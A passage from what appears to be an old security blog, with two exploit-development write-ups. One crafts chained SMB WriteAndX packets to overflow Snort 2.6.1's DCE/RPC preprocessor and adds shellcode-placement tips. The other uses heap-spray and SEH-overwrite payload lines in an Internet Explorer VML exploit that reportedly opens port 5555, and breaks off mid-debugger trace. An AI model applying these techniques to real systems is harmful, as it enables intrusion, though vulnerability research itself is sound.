red;">ReassembleSMBWriteX<o:p></o:p></li><li class="MsoNormal" style="color: red;">SMB_Fragmentation<o:p></o:p></li><li class="MsoNormal" style="">IsIPC</li><li class="MsoNormal" style="">SkipBytes</li><li class="MsoNormal" style="">SkipBytesWide</li><li class="MsoNormal" style="">ProcessSMBTreeConnXReq</li><li class="MsoNormal" style="">ProcessSMBNTCreateX</li><li class="MsoNormal" style="color: red;">ProcessSMBWriteX<o:p></o:p></li><li class="MsoNormal" style="">ProcessSMBTransaction</li><li class="MsoNormal" style="">ProcessSMBReadX</li><li class="MsoNormal" style="">ProcessSMBSetupXReq</li><li class="MsoNormal" style="">ProcessSMBLogoffXReq</li><li class="MsoNormal" style="">ProcessSMBLockingX</li></ul> <p class="MsoNormal"><o:p></o:p>The functions highlighted with <span style="color: rgb(255, 0, 0);">red</span> are the functions that involve in reassembly process WriteAndX command packet. <span style="color: rgb(51, 102, 255);">ProcessSMBWriteX()</span> process the DCE/RPC packet that has WriteAndX command. It calls <span style="color: rgb(51, 102, 255);">SMB_Fragmentation()</span> to see WriteAndX DCE/RPC packet is fragmented or not. If it is fragmented, SMB_Fragmentation() will call <span style="color: rgb(51, 102, 255);">ReassembleSMBWriteX()</span> to reassemble packet.To save time in discover the code section that vulnerable to buffer overflow, I decide to use the style “patch and diff” to discover it. I download Snort 2.6.1.3 and compare it with Snort 2.6.1 and found the following major change in ReassembleSMBWriteX():</p><p class="MsoNormal"> </p><ul style="margin-top: 0in;" type="disc"><li class="MsoNormal" style="">It checks value of writeX_len variable with size of SMB_WRITEX_REQ</li><li class="MsoNormal" style="">It use sizeof(SMB_WRITEX_REQ) as the 3<sup>rd</sup> parameter in memcpy to copy value to temp_writeX variable</li><li class="MsoNormal" style="">It use SafeMemcpy instead of memcpy to copy value to _dpd.altBuffer</li><li class="MsoNormal" style="">There is a lot of error message said that WriteX header is too big</li></ul> <p class="MsoNormal">There are many possibilities that overflow occurs because of writeX_len variable. Its value comes from the expression:</p> <p style="color: rgb(51, 204, 0); font-style: italic;" class="MsoNormal">unsigned int writeX_len = smb_data – (u_int8_t *) writeX;<o:p> </o:p></p> <p class="MsoNormal">For the valid DCE/RPC packet, writeX_len is the size of WriteAndX header. So it would be copied to temp_writeX with no problem. But if writeX_len is very big, because of malicious packet, temp_writeX and the stack will be overwrite.</p><p class="MsoNormal"> </p><p class="MsoNormal">Now, I’m going to investigate that<span style=""> </span>writeX_len could be controlled. To control writeX_len, I have to be able control smb_data or writeX variable. I track back from ReassembleSMBWriteX() to ProcessSMBWriteX():</p> <p style="font-style: italic; color: rgb(51, 204, 0);" class="MsoNormal">…<br />static void ReassembleSMBWriteX(SMB_WRITEX_REQ *writeX, u_int8_t *smb_data)<br />{<br />…<br />unsigned int<span style=""> </span><span style=""> </span>writeX_len = smb_data - (u_int8_t *)writeX;<br />…<br />}<br /><o:p></o:p>…</p> <p style="font-style: italic; color: rgb(51, 204, 0);" class="MsoNormal">int SMB_Fragmentation(u_int8_t *smb_hdr, SMB_WRITEX_REQ *writeX, u_int8_t *smb_data, u_int16_t data_size)<br />{<br />…<br />ReassembleSMBWriteX(writeX, smb_data);<o:p></o:p><br />…<br />}<br /><o:p></o:p>…</p> <p style="font-style: italic; color: rgb(51, 204, 0);" class="MsoNormal">int ProcessSMBWriteX(SMB_HDR *smbHdr, u_int8_t *data, u_int16_t size, u_int16_t total_size)<br />{<br />SMB_WRITEX_REQ *writeX = (SMB_WRITEX_REQ) *data;<br />…<br />dce_stub_data = (u_int8_t *) smbHdr + writeX->dataOffset<br />…<br />SMB_Fragmentation((u_int8_t *) smbHdr, writeX, dce_stub_data, data_size)<br />…<br />}<br />…</p> <p class="MsoNormal">The variable writeX in ReassembleSMBWriteX() is the writeX in ProcessSMBWriteX() and variable smb_data in ReassembleSMBWriteX() is dce_stub_data in ProcessSMBWriteX(). The variable dce_stub_data is pointer to the DCE/RPC header which start after WriteAndX header. It’s value depend on writeX->dataOffset which is not checked and I can control it, so I can control smb_data in ReassembleSMBWriteX() :)<br /><o:p></o:p><br />Now, I know that where the overflow occur and how it’s overflow. The next step is the implementation. In this step I will investigate how to create a packet that triggers the overflow. I decide to start at ProcessSMBWriteX(), not ReassembleWriteX(), because I wanna to know how to construct WriteAndX packet that will triggers SMB_Fragmentation().</p> <p class="MsoNormal">If I wanna to let ProcessSMBWriteX call SMB_Fragmentation(), I have to create WriteAndX header with the following condiction:</p> <ul style="margin-top: 0in;" type="disc"><li class="MsoNormal" style="">writeX->dataOffset is less than total_size value (this is the simple one, but don’t forget that this is the value to triggers the overflow, so it has to be more than size of WriteAndX header)</li><li class="MsoNormal" style="">variable _dcerpc->smb_state has to be STATE_GOT_NTCREATE<o:p> </o:p></li></ul> <p class="MsoNormal">I focus on _dcerpc->smb_state variable and browse the source codes. I’ve found that<span style=""> </span>the statement that set _dcerpc->smb_state to STATE_GOT_NTCREATE is in <span style="color: rgb(51, 102, 255);">ProcessSMBNTCreate()</span>.</p> <p style="color: rgb(51, 204, 0); font-style: italic;" class="MsoNormal">…<br />if ( _dcerpc->smb_state == STATE_GOT_TREE_CONNECT )<br /><span style=""></span> _dcerpc->smb_state = STATE_GOT_NTCREATE;<br />…</p> <p class="MsoNormal"><o:p></o:p>Before _dcerpc->smb_state is set to STATE_GOT_NTCREATE, it has to be set to STATE_GOT_TREE_CONNECT by <span style="color: rgb(51, 102, 255);">ProcessSMBTreeConnXReq()</span>:</p> <p class="MsoNormal"><o:p></o:p><span style="color: rgb(51, 204, 0); font-style: italic;">…</span><br /><span style="color: rgb(51, 204, 0); font-style: italic;">if ( isIPC && _dcerpc->smb_state == STATE_START )</span><br /><span style="color: rgb(51, 204, 0); font-style: italic;"> _dcerpc->smb_state = STATE_GOT_TREE_CONNECT</span><br /><span style="color: rgb(51, 204, 0); font-style: italic;">…</span></p> <p class="MsoNormal">And _dcerpc->smb_state is set to STATE_START (value 0) by default at <span style="color: rgb(51, 102, 255);">DCERPC_Setup()</span> in snort_dcerpc.c:</p> <p style="color: rgb(51, 204, 0); font-style: italic;" class="MsoNormal">…<br />memset(x, 0, size);<br />…<br />_dcerpc = x<br />…</p> <p class="MsoNormal">So, the flow of function call in this time is:<o:p><br /></o:p></p><p class="MsoNormal"><o:p></o:p><span style="color: rgb(51, 102, 255);">… -> ProcessSMBTreeConnXReq() -> ProcessSMBNTCeate() -> ProcessSMBWriteX()</span></p> <p class="MsoNormal">ProcessSMBTreeConnXReq() is called by <span style="color: rgb(51, 102, 255);">ProcessNextSMBCommand()</span> in snort_dcerpc.c:<o:p></o:p></p> <p class="MsoNormal"><o:p></o:p><span style="font-style: italic; color: rgb(51, 204, 0);">…</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);"> case SMB_COM_TREE_CONNECT_ANDX:</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);"> return ProcessSMBTreeConnXReq(smbHdr, data, size, total_size)</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">…</span></p> <p class="MsoNormal">ProcessNextSMBCommand() is called by <span style="color: rgb(51, 102, 255);">ProcessRawSMB()</span>:<o:p></o:p></p> <p class="MsoNormal"><o:p></o:p><span style="font-style: italic; color: rgb(51, 204, 0);">…</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">return ProcessNextSMBCommand(smbHdr->command, smbHdr, data + sizeof(SMB_HDR), data_size, size);</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">…</span></p> <p class="MsoNormal">ProcessRawSMB() is called from <span style="color: rgb(51, 102, 255);">DCERPCDecode()</span>:</p> <p class="MsoNormal"><o:p></o:p><span style="font-style: italic; color: rgb(51, 204, 0);">…</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);"> if ( SMBPorts[(p->dst_port/8)] & (1<<(p->dst_port%8)) )</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);"> {</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);"> /* Raw SMB */</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);"> return ProcessRawSMB(p->payload, p->payload_size);</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">…</span></p> <p class="MsoNormal">and <span style="color: rgb(51, 102, 255);">DCERPC_AutoDetect()</span>:<o:p></o:p></p><p class="MsoNormal"><o:p></o:p><span style="font-style: italic; color: rgb(51, 204, 0);">…</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);"> if ( is_smb )</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);"> {</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);"> /* Process as SMB */</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);"> return ProcessRawSMB(data, size);</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">…</span></p> <p class="MsoNormal">DCERPC_AutoDetect() is called by DCERPCDecode():<o:p></o:p></p><p class="MsoNormal"><o:p></o:p>…<br /><span style=""> </span>if ( _autodetect )<br /><span style=""> </span>return DCERPC_AutoDetect(p->payload, p->payload_size)<br />…</p> <p class="MsoNormal">So, the flow of function call in this time is:</p> <p class="MsoNormal"><span style="color: rgb(51, 102, 255);">… -> DCERPCDecode() -> DCERPC_AutoDetect() -></span> <span style="color:red;">ProcessRawSMB() -> ProcessNextSMBCommand() -> ProcessSMBTreeConnXReq() -> ProcessSMBNTCeate() -> ProcessSMBWriteX()</span> </p> <p class="MsoNormal">The functions highlighted with red are function that involve in processing SMB packet. Now, the layout of packet that I have to create look like this:</p> <p class="MsoNormal"><o:p><a href="http://photobucket.com/" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Snort_DCERPC/Snort.jpg" alt="Photobucket - Video and Image Hosting" border="0" /></a></o:p></p> <p class="MsoNormal">Now, the next step is to determine that how could I create the packet that snort finally call ReassembleSMBWriteX(). Because ReassembleSMBWrite() is called by SMB_Fragmentation(), which called by ProcessSMBWriteX(), so I decide to investigate SMB_Fragmentation().</p><p class="MsoNormal"> </p><p class="MsoNormal">The simplified flow chart of SMB_Fragmentation() look like this:</p> <p class="MsoNormal"><o:p><a href="http://photobucket.com/" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Snort_DCERPC/SMB_Fragmentation.jpg" alt="Photobucket - Video and Image Hosting" border="0" /></a></o:p> </p><p class="MsoNormal">As you can see, if I wanna to let SMB_Fragmentation() call ReassembleSMBWriteX(), I have to create a packet that when IsCompleteDCERPCMessage process it, the function will return true.</p> <p class="MsoNormal">IsCompleteDCERPCMessage() , in dcerpc.c, will return false if packet has one of the following properties:<o:p> </o:p></p> <ul style="margin-top: 0in;" type="disc"><li class="MsoNormal" style="">size of packet’s DCE/RPC Message less than size of DCERPC_REQ (this data structure is defined in dcerpc.h - 24 bytes)</li><li class="MsoNormal" style="">version of DCE/RPC is not 5</li><li class="MsoNormal" style="">DCE/RPC packet type is not DCERPC_REQUEST and DCERPC_BIND</li><li class="MsoNormal" style="">dcerpc->frag_length (Frag length field in DCERPC header) is more than the whole DCE/RPC message size</li></ul> <p class="MsoNormal">Everything seems fine, I can create the packet that make IsCompleteDCERPCMessage() return true. However, after I send the packet to snort, ReassembleSMBWriteX() never be called. I insert the message to debug snort and I’ve found that IsCompleteDCERPCMessage() never be called !!! SMB_Fragmentation() return 0 at line:<o:p></o:p></p><p class="MsoNormal"><o:p></o:p><span style="font-style: italic; color: rgb(51, 204, 0);">…</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">/* If not yet reassembling, attempt to parse as full DCE/RPC packet */</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);"> if ( !(_dcerpc->fragmentation & SMB_FRAGMENTATION) )</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);"> {</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);"> success = ProcessDCERPCMessage(smb_hdr, smb_data, data_size);</span><br /><o:p style="font-style: italic; color: rgb(51, 204, 0);"></o:p><span style="font-style: italic; color: rgb(51, 204, 0);"> if ( success )</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);"> return 0;</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">…</span></p> <p class="MsoNormal">I investigate ProcessDCERPCMessage() immediately and found something interest:</p> <p class="MsoNormal"><o:p></o:p><span style="font-style: italic; color: rgb(51, 204, 0);">…</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);"> if ( !IsCompleteDCERPCMessage(data, size) )</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);"> return 0;</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">…</span></p> <p class="MsoNormal"><o:p></o:p>It calls IsCompleteDCERPCMessage too. Because the packet that I create is not processed in SMB_Fragmentation() before. So, ProcessDECRPCMessage() always be called. If I wanna to let ProcessDCERPCMessage() return 0, I have to create the packet at make IsCompleteDCERPCMessage() return 0. But if I create the packet like that, ReassembleSMBWriteX will never be called. I cannot create a packet that when processed with IsCompleteDCERPCMessage() 2 times, the function will return different result.</p> <p class="MsoNormal">Then, I think about information in advisory:</p> <ul style="margin-top: 0in;" type="disc"><li class="MsoNormal" style="">Multiple WriteAndX commands are necessary</li></ul> <p class="MsoNormal"><o:p></o:p>Yes, may be this trick will be the key to make IsCompleteDCERPCMessage() return the different result. I have to create the packet that when processed by IsCompleteDCERPCMessage() at the first time it will return false, but at later it will return true. I look at the code in IsCompleteDCERPCMessage() again:</p> <p style="font-style: italic; color: rgb(51, 204, 0);" class="MsoNormal">…<br /><span style=""> </span>/* Wait until we have the whole DCE/RPC message */<br /><span style=""> </span>if ( dcerpc->frag_length > size )<br /><span style=""> </span>return 0;<br />…</p> <p class="MsoNormal"><o:p></o:p>If I fake frag length field, make it less than size, IsCompleteDCERPCMessage() will return false at the first time. But what I can do to make it true at later. I think the following code section in SMB_Fragmentation() answer me:</p> <p style="font-style: italic; color: rgb(51, 204, 0);" class="MsoNormal">…<br />memcpy(_dcerpc->write_andx_buf + _dcerpc->write_andx_buf_len, smb_data, writeX_length);<br /><span style=""> </span>_dcerpc->write_andx_buf_len += writeX_length;<br /><span style=""> </span><span style=""></span>_dcerpc->fragmentation |= SMB_FRAGMENTATION;<br /><o:p></o:p><span style=""> </span>if ( IsCompleteDCERPCMessage(_dcerpc->write_andx_buf, _dcerpc->write_andx_buf_len) )<br />…</p> <p class="MsoNormal"><o:p></o:p>_dcerpc->write_andx_buf_len is add with writeX_length every time that SMB_Fragmentation is called with the condition that there is one or more DCE/RPC packet processed by this function and is not finished. From this information, I decide to add 2nd WriteAndX command into the packet with conditions:</p> <ul style="margin-top: 0in;" type="disc"><li class="MsoNormal" style="">The first DCE/RPC message frag length field is greater than the size of remaining packet size (1st DCE/RPC message + 2<sup>nd</sup> WriteAndX header + 2<sup>nd</sup> DCE/RPC Message) – this will make IsCompleteDCERPCMessage() return false at the first time.</li><li class="MsoNormal" style="">Sum of first write_andx_buf_len and 2<sup>nd</sup> WriteAndX dataLength field must greater than frag length of 1<sup>st</sup> WriteAndX – this will make IsCompleteDCERPCMessage() return true and call ReassembleSMBWriteAndX()</li><li class="MsoNormal" style="">2<sup>nd</sup> WriteAndX dataOffset must great enough to overwrite the stack – overflow condition.</li></ul> <p class="MsoNormal">And the layout of WriteX chain look like this:</p> <p class="MsoNormal"><a href="http://photobucket.com/" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Snort_DCERPC/Snort-1.jpg" alt="Photobucket - Video and Image Hosting" border="0" /></a><br /></p><p class="MsoNormal">After I rerun the exploit, I got result of debug message like this:</p> <p style="font-style: italic;" class="MsoNormal">writeX->dataOffset is 182<o:p> </o:p></p> <p style="font-style: italic;" class="MsoNormal"><span style="color:red;">dcerpc->frag_length is 511<o:p></o:p></span><br />size is 176<br />IsComplete return because dcerpc->frag_length > size</p> <p style="font-style: italic;" class="MsoNormal">wrnteX_length is 72<br />now _decrpc->write_andx_buf_len is 72<br />dcerpc->frag_length is 511<br />size is 72<br />IsComplete return because dcerpc->frag_length > size<o:p> </o:p></p> <p style="font-style: italic;" class="MsoNormal"><span style="color:red;">writeX->dataOffset is 304<o:p></o:p></span></p> <p style="font-style: italic;" class="MsoNormal"><span style="color:red;">writeX_length is 511<o:p></o:p></span><br />now _decrpc->write_andx_buf_len is 583<br />dcerpc->frag_length is 511<br />size is 583</p> <p class="MsoNormal">temp_writeX has size 31 bytes<br />writeX_len is 50<br />so you overwrite 19 bytes beyond temp_writeX<br />dcerpc->frag_length is 511<br />size is 583<br /><span style="color:green;"><span style="font-style: italic;">Segmentation fault</span><o:p></o:p></span></p> <p class="MsoNormal"><span style="color:green;"><o:p> </o:p></span><br />Yezzz, snort crashes :)</p> <p class="MsoNormal">P.S. Because I have no time to look for code execution, so I just think the theory about this.</p> <ul style="margin-top: 0in;" type="disc"><li class="MsoNormal" style="">Increase the numbers of bytes to overwrite. As u can see in my PoC, it overwrites only 19 bytes beyond "temp_writeX" variable.<br />This number is not enough for DoS. So, increasing the numbers of bytes to overwrite<br />the memory may be let us control the EIP. Note: this condition will success or fail is also depened on OS buffer overflow protection mechanism ex. ASLR (I hate it). If you're exploiting on the Linux system that has buffer overflow protection guard, ex Fedora Core 4, you have to bypass these things to made the code execution. So I my opinion, code execution on Windows (2000, XP or 2003 SP0) should be easier than on Linux system that has the guard, just overwrite enough numbers of bytes to memory :)</li><li class="MsoNormal" style="">For the shellcode issue, you can inject it as a part of WriteX header or even DCE/RPC message. But this may lead you into some problem, you have to make it looks like the valid packet, so snort will process it.<o:p></o:p></li></ul>Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com3tag:blogger.com,1999:blog-30260908.post-1159089308335805232006-09-24T16:03:00.000+07:002006-09-25T11:55:11.516+07:00Heap Spraying: Exploiting Internet Explorer VML 0-day XP SP2Credits: <span id="_upro_Support@0daysecurity.com"><span style="font-weight: bold; color: rgb(51, 102, 255);">Niega</span><br /><br />At the first time, I decide the release the article at Oct 10. But there is someone already publish the exploit, so there is no means to still keep it private.<br /><br />Last article, I had described that my method can't be used to exploit <span style="color: rgb(255, 0, 0);">XP SP2</span>. But things change because Niega give me some information that he could produce some error that different from the old one.<br /><br /><span style="color: rgb(51, 204, 0);">This exception may be expected and handled.</span><br /><span style="color: rgb(51, 204, 0);">eax=0013be58 ebx=001cc564 ecx=0013be4c edx=00000041 esi=000020d4 edi=00140000</span><br /><span style="color: rgb(51, 204, 0);">eip=6f9eed1e esp=0013be34 ebp=0013c05c iopl=0 nv up ei pl nz na pe nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206</span><br /><span style="color: rgb(51, 204, 0);">*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program\Delade filer\Microsoft Shared\VGX\vgx.dll -</span><br /><span style="color: rgb(51, 204, 0);">vgx!$DllMain$_gdiplus+0x30e8d:</span><br /><span style="color: rgb(51, 204, 0);">6f9eed1e 668917 mov word ptr [edi],dx ds:0023:00140000=6341</span><br /></span><br />IE crashes, but not with the security cookie checking failure. This is the interesting one, may be I can made the code execution from this (the reason why I'm give up to find the way to made the exploit work on XP SP2 because there is others can do it). Niega said that he produce the error by overwrite the stack massively. I reproduce the error by create the attack vector like this:<br /><br /><span style="color: rgb(51, 204, 0);">...</span><br /><span style="color: rgb(51, 204, 0);">$page = $page . "\x41\x41\x41\x41" x 65535;</span><br /><span style="color: rgb(51, 204, 0);">...<br /></span><br />It gives the same result:<br /><br /><span style="color: rgb(51, 204, 0);">(538.590): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling</span><br /><span style="color: rgb(51, 204, 0);">This exception may be expected and handled.eax=0013be5c ebx=03148f2c ecx=0013be50 edx=00004141 esi=000020d2 edi=00140000eip=5deded1e esp=0013be38 ebp=0013c060 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206</span><br /><span style="color: rgb(51, 204, 0);">vgx!_IE5_SHADETYPE_TEXT::TOKENS::Ptok+0x38:</span><br /><span style="color: rgb(51, 204, 0);">5deded1e 668917 mov [edi],dx ds:0023:00140000=6341</span><br /><br />I look into the error to find the point that can lead to the code execution, but not found the interesting one. However, when I close WinDBG and open it again, something that I’m looking for is happened:<br /><br /><span style="color: rgb(51, 204, 0);">(538.590): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.</span><br /><span style="color: rgb(51, 204, 0);">This exception may be expected and handled.</span><br /><span style="color: rgb(51, 204, 0);">eax=0013bfe0 ebx=0447a034 ecx=0013bfd4 edx=00004141 esi=00002010 edi=00140000</span><br /><span style="color: rgb(51, 204, 0);">eip=5deded1e esp=0013bfbc ebp=0013c1e4 iopl=0 nv up ei pl nz na po nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206</span><br /><span style="color: rgb(51, 204, 0);">vgx!_IE5_SHADETYPE_TEXT::TOKENS::Ptok+0x38:</span><br /><span style="color: rgb(51, 204, 0);">5deded1e 668917 mov [edi],dx ds:0023:00140000=6341</span><br /><span style="color: rgb(51, 204, 0);">0:000> g</span><br /><span style="color: rgb(51, 204, 0);">(538.590): Access violation - code c0000005 (first chance)</span><br /><span style="color: rgb(51, 204, 0);">First chance exceptions are reported before any exception handling.</span><br /><span style="color: rgb(51, 204, 0);">This exception may be expected and handled.</span><br /><span style="color: rgb(51, 204, 0);">eax=00000000 ebx=00000000 ecx=41414141 edx=7c9037d8 esi=00000000 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);"><span style="font-weight: bold;">eip=41414141</span> esp=0013bbec ebp=0013bc0c iopl=0 nv up ei pl zr na po nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246</span><br /><span style="color: rgb(51, 204, 0);"><span style="font-weight: bold;">41414141</span> ?? ??? </span><br /><br />Hey !!? eip jumps to address <span style="color: rgb(255, 0, 0);">0x41414141</span> - the value that we can control. Then I open my first version exploit, remove the heap spraying code section and modify the attack vector to this:<br /><br /><span style="color: rgb(51, 204, 0);">$page = $page . "\x0d\x0d\x0d\x0d" x 65535;</span><br /><br />This is the result:<br /><br /><span style="color: rgb(51, 204, 0);">This exception may be expected and handled.</span><br /><span style="color: rgb(51, 204, 0);">eax=0013bfe0 ebx=0334007c ecx=0013bfd4 edx=00000d0d esi=00002010 edi=00140000</span><br /><span style="color: rgb(51, 204, 0);">eip=5deded1e esp=0013bfbc ebp=0013c1e4 iopl=0 nv up ei pl nz na po nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206</span><br /><span style="color: rgb(51, 204, 0);">vgx!_IE5_SHADETYPE_TEXT::TOKENS::Ptok+0x38:</span><br /><span style="color: rgb(51, 204, 0);">5deded1e 668917 mov [edi],dx ds:0023:00140000=6341</span><br /><span style="color: rgb(51, 204, 0);">0:000> g</span><br /><span style="color: rgb(51, 204, 0);">(bc.148): Access violation - code c0000005 (first chance)</span><br /><span style="color: rgb(51, 204, 0);">First chance exceptions are reported before any exception handling.</span><br /><span style="color: rgb(51, 204, 0);">This exception may be expected and handled.</span><br /><span style="color: rgb(51, 204, 0);">eax=00000000 ebx=00000000 ecx=0d0d0d0d edx=7c9037d8 esi=00000000 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);"><span style="font-weight: bold;">eip=0d0d0d0d</span> esp=0013bbec ebp=0013bc0c iopl=0 nv up ei pl zr na po nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246</span><br /><span style="color: rgb(51, 204, 0);"><span style="font-weight: bold;">0d0d0d0d</span> ?? ??? </span><br /><br />(I have to close WinDBG and open it again everytime to produce this result, I don’t know why ? If you know, plz tell me, lol)<br /><br />Now we can control eip completely on XP SP2. I just enable the heap spraying code section again and use IE browse the exploit page. I see that IE is not crashed and my machine has opened port 5555 - the exploit success ^-^. I test it again without the debugger and it’s also OK – the exploit work with a little modification !!! Thanks Niega :)<br /><br />Now, I will investigate deeply why a little modification can give me a big result. At the point IE crashes, I execute a single instruction at time:<br /><br /><span style="color: rgb(51, 204, 0);">0:000> p</span><br /><span style="color: rgb(51, 204, 0);">eax=0013bfe0 ebx=0335007c ecx=0013bcf0 edx=00000d0d esi=00002010 edi=00140000</span><br /><span style="color: rgb(51, 204, 0);">eip=7c90eaf0 esp=0013bccc ebp=0013c1e4 iopl=0 nv up ei pl nz na po nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206</span><br /><span style="color: rgb(51, 204, 0);">ntdll!KiUserExceptionDispatcher+0x4:</span><br /><span style="color: rgb(51, 204, 0);">7c90eaf0 8b1c24 mov ebx,[esp] ss:0023:0013bccc=0013bcd4</span><br /><span style="color: rgb(51, 204, 0);">…</span><br /><span style="color: rgb(51, 204, 0);">7c90eaf5 e8c78c0200 <span style="font-weight: bold;">call ntdll!RtlDispatchException (7c9377c1)</span></span><br /><span style="color: rgb(51, 204, 0);">0:000> p</span><br /><span style="color: rgb(51, 204, 0);">(9d8.5e0): Access violation - code c0000005 (first chance)</span><br /><span style="color: rgb(51, 204, 0);">First chance exceptions are reported before any exception handling.</span><br /><span style="color: rgb(51, 204, 0);">This exception may be expected and handled.</span><br /><span style="color: rgb(51, 204, 0);">eax=00000000 ebx=00000000 ecx=0d0d0d0d edx=7c9037d8 esi=00000000 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);">eip=0d0d0d0d esp=0013bbec ebp=0013bc0c iopl=0 nv up ei pl zr na po nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246</span><br /><span style="color: rgb(51, 204, 0);">0d0d0d0d ?? ???</span><br /><br />IE calls ntdll!RtlDispatchException – <span style="color: rgb(51, 102, 255);">0x7c9377c1</span> – before it jump into <span style="color: rgb(51, 102, 255);">0x0d0d0d0d</span>. This give me some clue that the massive bytes 0x0d will overwrite to some exception handler. I set breakpoint at <span style="color: rgb(51, 102, 255);">0x7c9377c1</span> to see more details:<br /><br /><span style="color: rgb(51, 204, 0);">Breakpoint 1 hit</span><br /><span style="color: rgb(51, 204, 0);">eax=0013bfe0 ebx=0013bcd4 ecx=0013bcf0 edx=00000d0d esi=00002010 edi=00140000</span><br /><span style="color: rgb(51, 204, 0);">eip=7c9377c1 esp=0013bcc0 ebp=0013c1e4 iopl=0 nv up ei pl nz na po nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206</span><br /><span style="color: rgb(51, 204, 0);">ntdll!RtlDispatchException:</span><br /><span style="color: rgb(51, 204, 0);">7c9377c1 8bff mov edi,edi</span><br /><span style="color: rgb(51, 204, 0);">0:000> p </span><br /><span style="color: rgb(51, 204, 0);">...</span><br /><span style="color: rgb(51, 204, 0);"></span><span style="color: rgb(51, 204, 0);">ntdll!RtlDispatchException+0xac:</span><br /><span style="color: rgb(51, 204, 0);">7c93785b e8f3befcff <span style="font-weight: bold;">call ntdll!RtlpExecuteHandlerForException</span> (7c903753)</span><br /><span style="color: rgb(51, 204, 0);">0:000> bp 7c903753</span><br /><span style="color: rgb(51, 204, 0);">0:000> p</span><br /><span style="color: rgb(51, 204, 0);">Breakpoint 2 hit</span><br /><span style="color: rgb(51, 204, 0);">eax=0013bca8 ebx=0013eae8 ecx=0000c460 edx=7c90eb94 esi=0013bcd4 edi=00140000</span><br /><span style="color: rgb(51, 204, 0);">eip=7c903753 esp=0013bc34 ebp=0013bcbc iopl=0 nv up ei pl zr na po nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246</span><br /><span style="color: rgb(51, 204, 0);"><span style="font-weight: bold;">ntdll!RtlpExecuteHandlerForException</span>:</span><br /><span style="color: rgb(51, 204, 0);">7c903753 bad837907c mov edx,0x7c9037d8 </span><br /><span style="color: rgb(51, 204, 0);"></span><br />Now it call <span style="color: rgb(51, 102, 255);">ntdll!RtlpExecuteHandlerForException<span style="color: rgb(0, 0, 0);">.</span></span><br /><br /><span style="color: rgb(51, 204, 0);">0:000> p</span><br /><span style="color: rgb(51, 204, 0);">eax=0013bca8 ebx=0013eae8 ecx=0000c460 edx=7c9037d8 esi=0013bcd4 edi=00140000</span><br /><span style="color: rgb(51, 204, 0);">eip=7c903758 esp=0013bc34 ebp=0013bcbc iopl=0 nv up ei pl zr na po nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246</span><br /><span style="color: rgb(51, 204, 0);">ntdll!RtlpExecuteHandlerForException+0x5:</span><br /><span style="color: rgb(51, 204, 0);">7c903758 eb0d jmp ntdll!ExecuteHandler (7c903767) </span><br /><span style="color: rgb(51, 204, 0);">...</span><br /><span style="color: rgb(51, 204, 0);">ntdll!ExecuteHandler+0x1f:</span><br /><span style="color: rgb(51, 204, 0);">7c903786 e80e000000 <span style="font-weight: bold;">call ntdll!ExecuteHandler2</span> (7c903799)</span><br /><span style="color: rgb(51, 204, 0);">0:000> bp 7c903799</span><br /><span style="color: rgb(51, 204, 0);">0:000> p</span><br /><span style="color: rgb(51, 204, 0);">Breakpoint 3 hit</span><br /><span style="color: rgb(51, 204, 0);">eax=00000000 ebx=00000000 ecx=0000c460 edx=7c9037d8 esi=00000000 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);">eip=7c903799 esp=0013bc10 ebp=0013bcbc iopl=0 nv up ei pl zr na po nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 